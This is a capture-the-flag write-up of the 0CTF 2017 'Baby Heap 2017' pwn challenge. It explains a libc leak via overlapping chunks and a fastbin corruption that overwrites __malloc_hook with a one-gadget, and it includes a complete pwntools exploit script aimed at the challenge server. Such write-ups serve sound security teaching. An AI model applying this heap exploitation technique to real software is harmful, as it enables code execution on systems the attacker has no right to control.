The force is with those who read the source.

0CTF 2017 Quals: Baby Heap 2017 (pwn 255)

2017-03-24

Description

Let’s practice some basic heap techniques in 2017 together!
202.120.7.218:2017
libc.so.6

TL;DR

Exploit

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

This is a classical pwn challenge of heap with four kinds of operations: malloc, free, read, write. The only difference is that it use calloc, which initialzes the memory to zero, instead of the usual malloc. The challenge further increases its difficulty in two ways. First, it enables PIE and put the array of the malloc pointers in a random mmap area. Therefore, we do not know the address to launch the “unsafe unlink” attack. Second, it also enables RELRO so that we cannot change the value of GOT table to hijack the control flow. In contrast, the vulnerability is evident. We can fill the arbitrary length of input to the heap and overflow anything after that.

To solve this challenge, I first leak the address of the libc by overlapping two chunks as follows (also a common attack).

baby_heap_2017.png

Then, I override the fd pointer of a freed fastbin chunk to somewhere before __malloc_hook which has a valid “chunk size.” Finally, after two malloc of the proper size, I get a chunk which allows me to change the __malloc_hook to one-gadget.

Note that the checking of the chunk size of the fastbin in malloc.c is not strict. It only checks whether the size divided by 16 (64bit) equals to the same index. There is no requirement of alignment, and it views the size as a 4-byte integer. Therefore, in this challenge, I took 0x7f as the chunk size of a 0x70 fastbin chunk.

malloc.c
1
2
3
4
5
6
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";

The full script is as follows.

babyheap_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86_64'

libc = ELF('./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1')
libc.symbols['one_gadget'] = 0x41374
bin_offset = 0x3a5678

def allocate(size):
print r.recvuntil('Command: ')
r.sendline('1')
print r.recvuntil('Size: ')
r.sendline(str(size))

def fill(index, content):
print r.recvuntil('Command: ')
r.sendline('2')
print r.recvuntil('Index: ')
r.sendline(str(index))
print r.recvuntil('Size: ')
r.sendline(str(len(content)))
print r.recvuntil('Content: ')
r.send(content)

def free(index):
print r.recvuntil('Command: ')
r.sendline('3')
print r.recvuntil('Index: ')
r.sendline(str(index))

def dump(index):
print r.recvuntil('Command: ')
r.sendline('4')
print r.recvuntil('Index: ')
r.sendline(str(index))
print r.recvuntil('Content: \n')
data = r.recvline()
print data
return data


# r = process(
# './babyheap_69a42acd160ab67a68047ca3f9c390b9',
# env={ 'LD_PRELOAD': './libc.so.6_b86ec517ee44b2d6c03096e0518c72a1' }
# )
# gdb.attach(r, '''
# c
# ''')
r = remote('202.120.7.218', 2017)

# create overlapping chunks by shrinking a free chunk's size
allocate(16) #0
allocate(480) #1
allocate(512) #2
allocate(512) #3
free(1)
fill(0, flat('A'*24, '\x30')) # shrink the chunk
allocate(128) #1
allocate(96) #4
free(1)
free(2)

# overlap the header of the remainder chunk with the forgetten chunk to
# leak the address of libc
allocate(128) #1
data = dump(4)
bin_address = u64(data[:8])
log.critical(hex(bin_address))
libc.address = bin_address - bin_offset
log.critical(hex(libc.address))

# fastbin corruption
# get a chunk just before __malloc_hook in the second allocation
fill(1, flat('B'*0x80, 0x90, 0x70)) # fix chunk meta data
free(4)
fill(1, flat('B'*0x80, 0x90, 0x70, libc.symbols['__malloc_hook']-0x23)) # override fd
allocate(96) #2
allocate(96) #4
fill(4, flat('\x00'*19, libc.symbols['one_gadget']))

# trigger __malloc_hook
allocate(96)

r.interactive()

Flag: flag{you_are_now_a_qualified_heap_beginner_in_2017}


Blog comments powered by Disqus